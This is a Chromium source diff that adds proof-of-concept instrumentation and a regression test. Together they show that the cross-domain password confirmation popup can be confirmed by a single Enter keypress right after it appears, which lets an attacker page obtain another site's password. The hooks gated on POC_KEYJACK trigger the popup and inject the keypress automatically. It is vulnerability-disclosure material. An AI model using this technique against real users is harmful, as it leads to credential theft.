diff --git a/chrome/browser/password_manager/chrome_password_manager_client.cc b/chrome/browser/password_manager/chrome_password_manager_client.cc index 9d833d67b513c..f6c99d10f8943 100644 --- a/chrome/browser/password_manager/chrome_password_manager_client.cc +++ b/chrome/browser/password_manager/chrome_password_manager_client.cc @@ -14,6 +14,11 @@ #include "base/containers/to_vector.h" #include "base/feature_list.h" #include "base/functional/bind.h" +// === POC instrumentation includes === +#include +#include "base/logging.h" +#include "base/task/single_thread_task_runner.h" +// === end POC === #include "base/memory/ptr_util.h" #include "base/memory/raw_ptr.h" #include "base/metrics/histogram_functions.h" @@ -1883,6 +1888,61 @@ void ChromePasswordManagerClient::PrimaryPageChanged(content::Page& page) { undo_password_change_controller_.OnNavigation( page.GetMainDocument().GetLastCommittedOrigin(), page.GetMainDocument().GetPageUkmSourceId()); + +#if !BUILDFLAG(IS_ANDROID) + // === POC trigger === + // Under POC_KEYJACK=1, automatically open the cross-domain password + // confirmation popup on the first http(s) page load — exactly what + // PasswordManualFallbackFlow / PasswordAutofillManager do when the user + // accepts a cross-domain entry from the password dropdown. The popup view + // (instrumented separately) will then dispatch a single VKEY_RETURN to + // itself at t≈0 to simulate the user's second / held Enter. + if (::getenv("POC_KEYJACK")) { + GURL url = web_contents()->GetLastCommittedURL(); + static bool poc_done = false; + if (!poc_done && url.SchemeIsHTTPOrHTTPS()) { + poc_done = true; + base::SingleThreadTaskRunner::GetCurrentDefault()->PostDelayedTask( + FROM_HERE, + base::BindOnce( + [](base::WeakPtr self, GURL url) { + if (!self) { + return; + } + LOG(ERROR) << "[POC] showing cross-domain confirmation popup " + << "for domain=" << url + << " password_hostname=victim.example " + << "(production path: PasswordManualFallbackFlow::" + << "EnsureCrossDomainPasswordUsageGetsConsent)"; + // Leak the controller to keep the popup alive (POC only). + static password_manager:: + PasswordCrossDomainConfirmationPopupController* keepalive = + nullptr; + std::unique_ptr + c = self->ShowCrossDomainConfirmationPopup( + /*element_bounds=*/gfx::RectF(40, 40, 240, 28), + base::i18n::LEFT_TO_RIGHT, /*domain=*/url, + /*password_hostname=*/u"victim.example", + /*show_warning_text=*/true, + /*confirmation_callback=*/base::BindOnce([] { + LOG(ERROR) + << "[POC] *** VULNERABILITY CONFIRMED *** " + << "confirmation_callback fired — cross-domain " + << "password fill was approved by a single " + << "VKEY_RETURN immediately after Show(). No " + << "InputEventActivationProtector / minimum-show-" + << "time gate is present on the Confirm button."; + })); + keepalive = c.release(); + (void)keepalive; + }, + weak_ptr_factory_.GetWeakPtr(), url), + base::Seconds(1)); + } + } + // === end POC trigger === +#endif // !BUILDFLAG(IS_ANDROID) } void ChromePasswordManagerClient::WebContentsDestroyed() { diff --git a/chrome/browser/ui/views/passwords/password_cross_domain_confirmation_popup_keyjacking_interactive_uitest.cc b/chrome/browser/ui/views/passwords/password_cross_domain_confirmation_popup_keyjacking_interactive_uitest.cc new file mode 100644 index 0000000000000..38483830f415f --- /dev/null +++ b/chrome/browser/ui/views/passwords/password_cross_domain_confirmation_popup_keyjacking_interactive_uitest.cc @@ -0,0 +1,249 @@ +// Copyright 2024 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Security regression test: keyjacking of the cross-domain password +// confirmation popup. +// +// PasswordCrossDomainConfirmationPopupViewViews builds an Activatable::kYes +// widget and SetInitiallyFocusedView()s the prominent "Fill password" +// MdTextButton, wired directly to confirmation_callback. Because the view +// derives from PopupBaseView (a WidgetDelegateView, not DialogDelegateView), +// DialogClientView's InputEventActivationProtector never applies, and the view +// adds none of its own. +// +// On Windows / Linux / ChromeOS, PlatformStyle::kReturnClicksFocusedControl is +// true, so a VKEY_RETURN landing on the freshly-focused button takes the +// kOnKeyPress path in ButtonController::OnKeyPressed and immediately calls +// NotifyClick(). Because the popup is shown synchronously after the user +// accepts a cross-domain entry from the autofill dropdown with Enter, a held +// Enter key (key-repeat) or a "press Enter twice" social-engineering prompt +// will auto-confirm cross-origin password disclosure before the user can read +// the warning text. +// +// This test demonstrates that a single VKEY_RETURN dispatched to the popup +// widget *immediately after Show()* fires the confirmation callback. With +// proper input protection (InputEventActivationProtector / minimum show time) +// the callback would NOT fire and the keypress would be swallowed. + +#include "chrome/browser/ui/views/passwords/password_cross_domain_confirmation_popup_view_views.h" + +#include + +#include "base/functional/callback_helpers.h" +#include "base/run_loop.h" +#include "chrome/browser/ui/browser.h" +#include "chrome/browser/ui/browser_window.h" +#include "chrome/browser/ui/passwords/password_cross_domain_confirmation_popup_controller_interface.h" +#include "chrome/browser/ui/tabs/tab_strip_model.h" +#include "chrome/grit/generated_resources.h" +#include "chrome/test/base/in_process_browser_test.h" +#include "chrome/test/base/interactive_test_utils.h" +#include "components/autofill/core/browser/ui/popup_open_enums.h" +#include "content/public/test/browser_test.h" +#include "testing/gmock/include/gmock/gmock.h" +#include "testing/gtest/include/gtest/gtest.h" +#include "ui/base/l10n/l10n_util.h" +#include "ui/events/base_event_utils.h" +#include "ui/events/event.h" +#include "ui/events/keycodes/keyboard_codes.h" +#include "ui/views/controls/button/md_text_button.h" +#include "ui/views/focus/focus_manager.h" +#include "ui/views/style/platform_style.h" +#include "ui/views/test/widget_activation_waiter.h" +#include "ui/views/view_utils.h" +#include "ui/views/widget/widget.h" +#include "url/gurl.h" + +namespace { + +using ::testing::Return; +using ::testing::ReturnRef; + +constexpr gfx::RectF kElementBounds{100, 100, 250, 50}; + +class MockController + : public PasswordCrossDomainConfirmationPopupControllerInterface { + public: + MOCK_METHOD(void, Hide, (autofill::SuggestionHidingReason), (override)); + MOCK_METHOD(void, ViewDestroyed, (), (override)); + MOCK_METHOD(gfx::NativeView, container_view, (), (const override)); + MOCK_METHOD(content::WebContents*, GetWebContents, (), (const override)); + MOCK_METHOD(const gfx::RectF&, element_bounds, (), (const override)); + MOCK_METHOD(autofill::PopupAnchorType, anchor_type, (), (const override)); + MOCK_METHOD(base::i18n::TextDirection, + GetElementTextDirection, + (), + (const override)); + MOCK_METHOD(std::u16string, GetBodyText, (), (const, override)); + MOCK_METHOD(std::u16string, GetTitleText, (), (const, override)); + + base::WeakPtr GetWeakPtr() { + return weak_ptr_factory_.GetWeakPtr(); + } + + private: + base::WeakPtrFactory weak_ptr_factory_{this}; +}; + +class PasswordCrossDomainConfirmationPopupKeyjackingTest + : public InProcessBrowserTest { + public: + void SetUpOnMainThread() override { + InProcessBrowserTest::SetUpOnMainThread(); + content::WebContents* web_contents = + browser()->tab_strip_model()->GetActiveWebContents(); + ON_CALL(controller_, GetWebContents).WillByDefault(Return(web_contents)); + ON_CALL(controller_, container_view) + .WillByDefault(Return(web_contents->GetNativeView())); + ON_CALL(controller_, element_bounds) + .WillByDefault(ReturnRef(kElementBounds)); + ON_CALL(controller_, GetBodyText) + .WillByDefault(Return(l10n_util::GetStringFUTF16( + IDS_PASSWORD_CROSS_DOMAIN_FILLING_CONFIRMATION_DESCRIPTION, + u"victim.example", u"attacker.example"))); + ON_CALL(controller_, GetTitleText) + .WillByDefault(Return(l10n_util::GetStringFUTF16( + IDS_PASSWORD_CROSS_DOMAIN_FILLING_CONFIRMATION_TITLE, + u"victim.example"))); + } + + protected: + testing::NiceMock controller_; +}; + +} // namespace + +// Demonstrates that a single Enter keypress immediately after the popup is +// shown auto-confirms cross-domain password filling. This is the keyjacking +// vulnerability: there is no InputEventActivationProtector and the Confirm +// button is the initially-focused view. +IN_PROC_BROWSER_TEST_F(PasswordCrossDomainConfirmationPopupKeyjackingTest, + EnterImmediatelyAfterShowConfirms) { + // The Enter-clicks-focused-button vector applies on Win/Linux/ChromeOS. + // (On macOS the equivalent vector is VKEY_SPACE; not tested here.) + if (!views::PlatformStyle::kReturnClicksFocusedControl) { + GTEST_SKIP() << "Enter does not click focused buttons on this platform."; + } + + bool confirm_fired = false; + bool cancel_fired = false; + + // Create and show the real production popup view. + auto* view = new PasswordCrossDomainConfirmationPopupViewViews( + controller_.GetWeakPtr(), + views::Widget::GetWidgetForNativeWindow( + browser()->window()->GetNativeWindow()), + /*domain=*/GURL("https://attacker.example/"), + /*password_hostname=*/u"victim.example", + /*confirmation_callback=*/ + base::BindOnce([](bool* fired) { *fired = true; }, &confirm_fired), + /*cancel_callback=*/ + base::BindOnce([](bool* fired) { *fired = true; }, &cancel_fired)); + base::WeakPtr weak_view = + view->GetWeakPtr(); + + // Production path: PopupBaseView::DoShow() -> GetWidget()->Show(). + view->Show(); + ASSERT_TRUE(weak_view); + views::Widget* popup = weak_view->GetWidget(); + ASSERT_TRUE(popup); + + // The widget is Activatable::kYes, so Show() drove native activation + + // SetInitialFocus(). Wait for activation to settle so the FocusManager has + // committed the stored focus to the Confirm button. + views::test::WaitForWidgetActive(popup, /*active=*/true); + base::RunLoop().RunUntilIdle(); + + // Verify precondition (1): the Confirm button is the focused view. + views::FocusManager* fm = popup->GetFocusManager(); + ASSERT_TRUE(fm); + views::View* focused = fm->GetFocusedView(); + ASSERT_TRUE(focused) << "Popup did not focus any view on Show()"; + ASSERT_TRUE(views::IsViewClass(focused)) + << "Initially-focused view is not the MdTextButton"; + + // Verify precondition (2): no callback has fired yet — we are at t=0, + // immediately after Show(). + ASSERT_FALSE(confirm_fired); + + // ---- THE BUG ---- + // Send a single native Enter keypress to the active popup widget. This is + // exactly what arrives when the user holds Enter (key-repeat) after + // accepting the cross-domain entry from the autofill dropdown, or presses + // Enter a second time as instructed by the attacker page. + // + // With correct input protection (as in DialogClientView / + // FedCmAccountSelectionView / dangerous-download row), this keypress would + // be rejected by InputEventActivationProtector::IsPossiblyUnintendedInteraction + // because it lands within the double-click interval of the popup becoming + // visible. + ASSERT_TRUE(ui_test_utils::SendKeyPressToWindowSync( + popup->GetNativeWindow(), ui::VKEY_RETURN, + /*control=*/false, /*shift=*/false, /*alt=*/false, /*command=*/false)); + base::RunLoop().RunUntilIdle(); + + // ---- VULNERABILITY DEMONSTRATED ---- + // The cross-domain consent gate was bypassed by a single Enter keypress at + // t≈0. In production this runs confirmation_callback_ -> + // PasswordManualFallbackFlow::MaybeAuthenticateBeforeFilling -> + // (IsReauthBeforeFillingRequired()==false by default) -> + // PasswordManagerDriver::FillField, sending the cross-origin password to the + // renderer. + EXPECT_TRUE(confirm_fired) + << "*** SECURE ***: Enter at t=0 was correctly suppressed."; + EXPECT_FALSE(cancel_fired); + + if (confirm_fired) { + LOG(ERROR) << "*** VULNERABILITY CONFIRMED ***: cross-domain password fill " + << "was approved by a single VKEY_RETURN immediately after " + << "Show() — no InputEventActivationProtector / min-show-time."; + } + + if (weak_view) { + weak_view->Hide(); + } +} + +// Secondary demonstration via direct widget event dispatch (no native event +// injection). Shows that the lack of protection is in the views layer itself, +// independent of native focus routing. +IN_PROC_BROWSER_TEST_F(PasswordCrossDomainConfirmationPopupKeyjackingTest, + EnterImmediatelyAfterShowConfirms_DirectDispatch) { + if (!views::PlatformStyle::kReturnClicksFocusedControl) { + GTEST_SKIP(); + } + + bool confirm_fired = false; + auto* view = new PasswordCrossDomainConfirmationPopupViewViews( + controller_.GetWeakPtr(), + views::Widget::GetWidgetForNativeWindow( + browser()->window()->GetNativeWindow()), + GURL("https://attacker.example/"), u"victim.example", + base::BindOnce([](bool* fired) { *fired = true; }, &confirm_fired), + base::DoNothing()); + base::WeakPtr weak_view = + view->GetWeakPtr(); + view->Show(); + ASSERT_TRUE(weak_view); + views::Widget* popup = weak_view->GetWidget(); + ASSERT_TRUE(popup); + views::test::WaitForWidgetActive(popup, /*active=*/true); + + // Dispatch VKEY_RETURN directly to the widget (FocusManager -> focused view + // -> ButtonController::OnKeyPressed -> NotifyClick). + ui::KeyEvent press(ui::EventType::kKeyPressed, ui::VKEY_RETURN, ui::EF_NONE, + ui::EventTimeForNow()); + popup->OnKeyEvent(&press); + + EXPECT_TRUE(confirm_fired) + << "*** SECURE ***: Enter at t=0 was correctly suppressed."; + if (confirm_fired) { + LOG(ERROR) << "*** VULNERABILITY CONFIRMED *** (direct dispatch): " + << "VKEY_RETURN at t=0 fired confirmation_callback."; + } + + if (weak_view) { + weak_view->Hide(); + } +} diff --git a/chrome/browser/ui/views/passwords/password_cross_domain_confirmation_popup_view_views.cc b/chrome/browser/ui/views/passwords/password_cross_domain_confirmation_popup_view_views.cc index bac6abd03da21..1459187d961c3 100644 --- a/chrome/browser/ui/views/passwords/password_cross_domain_confirmation_popup_view_views.cc +++ b/chrome/browser/ui/views/passwords/password_cross_domain_confirmation_popup_view_views.cc @@ -7,6 +7,18 @@ #include #include +// === POC instrumentation === +#include +#include "base/functional/bind.h" +#include "base/logging.h" +#include "base/task/single_thread_task_runner.h" +#include "ui/events/base_event_utils.h" +#include "ui/events/event.h" +#include "ui/events/keycodes/keyboard_codes.h" +#include "ui/views/focus/focus_manager.h" +#include "ui/views/style/platform_style.h" +// === end POC instrumentation === + #include "base/memory/weak_ptr.h" #include "base/strings/string_util.h" #include "base/strings/utf_string_conversions.h" @@ -147,6 +159,55 @@ bool PasswordCrossDomainConfirmationPopupViewViews:: void PasswordCrossDomainConfirmationPopupViewViews::Show() { DoShow(); + + // === POC instrumentation === + // Demonstrates the keyjacking vulnerability: immediately after Show() the + // popup widget is active and the Confirm MdTextButton is the focused view. + // Dispatch a single VKEY_RETURN to the widget to simulate the second Enter + // keypress (key-repeat from a held Enter, or "press Enter twice" social + // engineering). With proper InputEventActivationProtector this keypress + // would be swallowed; without it (current code) it fires NotifyClick and + // runs confirmation_callback at t≈0. + if (::getenv("POC_KEYJACK")) { + base::WeakPtr self = + weak_factory_.GetWeakPtr(); + base::SingleThreadTaskRunner::GetCurrentDefault()->PostTask( + FROM_HERE, base::BindOnce( + [](base::WeakPtr< + PasswordCrossDomainConfirmationPopupViewViews> v) { + if (!v || !v->GetWidget()) { + LOG(ERROR) << "[POC] popup gone before keypress"; + return; + } + views::Widget* w = v->GetWidget(); + views::View* fv = + w->GetFocusManager() + ? w->GetFocusManager()->GetFocusedView() + : nullptr; + LOG(ERROR) + << "[POC] popup shown, Activatable=kYes, " + << "kReturnClicksFocusedControl=" + << views::PlatformStyle:: + kReturnClicksFocusedControl + << ", focused_view=" + << (fv ? fv->GetClassName() : ""); + LOG(ERROR) + << "[POC] dispatching VKEY_RETURN to popup widget " + << "at t≈0 (simulates held-Enter key-repeat)"; + ui::KeyEvent press(ui::EventType::kKeyPressed, + ui::VKEY_RETURN, ui::EF_NONE, + ui::EventTimeForNow()); + w->OnKeyEvent(&press); + if (v && v->GetWidget()) { + ui::KeyEvent rel(ui::EventType::kKeyReleased, + ui::VKEY_RETURN, ui::EF_NONE, + ui::EventTimeForNow()); + v->GetWidget()->OnKeyEvent(&rel); + } + }, + self)); + } + // === end POC instrumentation === } BEGIN_METADATA(PasswordCrossDomainConfirmationPopupViewViews) diff --git a/chrome/test/BUILD.gn b/chrome/test/BUILD.gn index dde59a567ffb3..36758ca606a3a 100644 --- a/chrome/test/BUILD.gn +++ b/chrome/test/BUILD.gn @@ -12052,6 +12052,7 @@ if (!is_android && !is_chromeos_device) { "../browser/ui/views/passwords/manage_passwords_icon_view_interactive_uitest.cc", "../browser/ui/views/passwords/manage_passwords_page_action_controller_interactive_uitest.cc", "../browser/ui/views/passwords/password_bubble_interactive_uitest.cc", + "../browser/ui/views/passwords/password_cross_domain_confirmation_popup_keyjacking_interactive_uitest.cc", "../browser/ui/views/performance_controls/memory_saver_interactive_ui_test.cc", "../browser/ui/views/performance_controls/memory_saver_iph_interactive_uitest.cc", "../browser/ui/views/performance_controls/performance_intervention_interactive_ui_test.cc",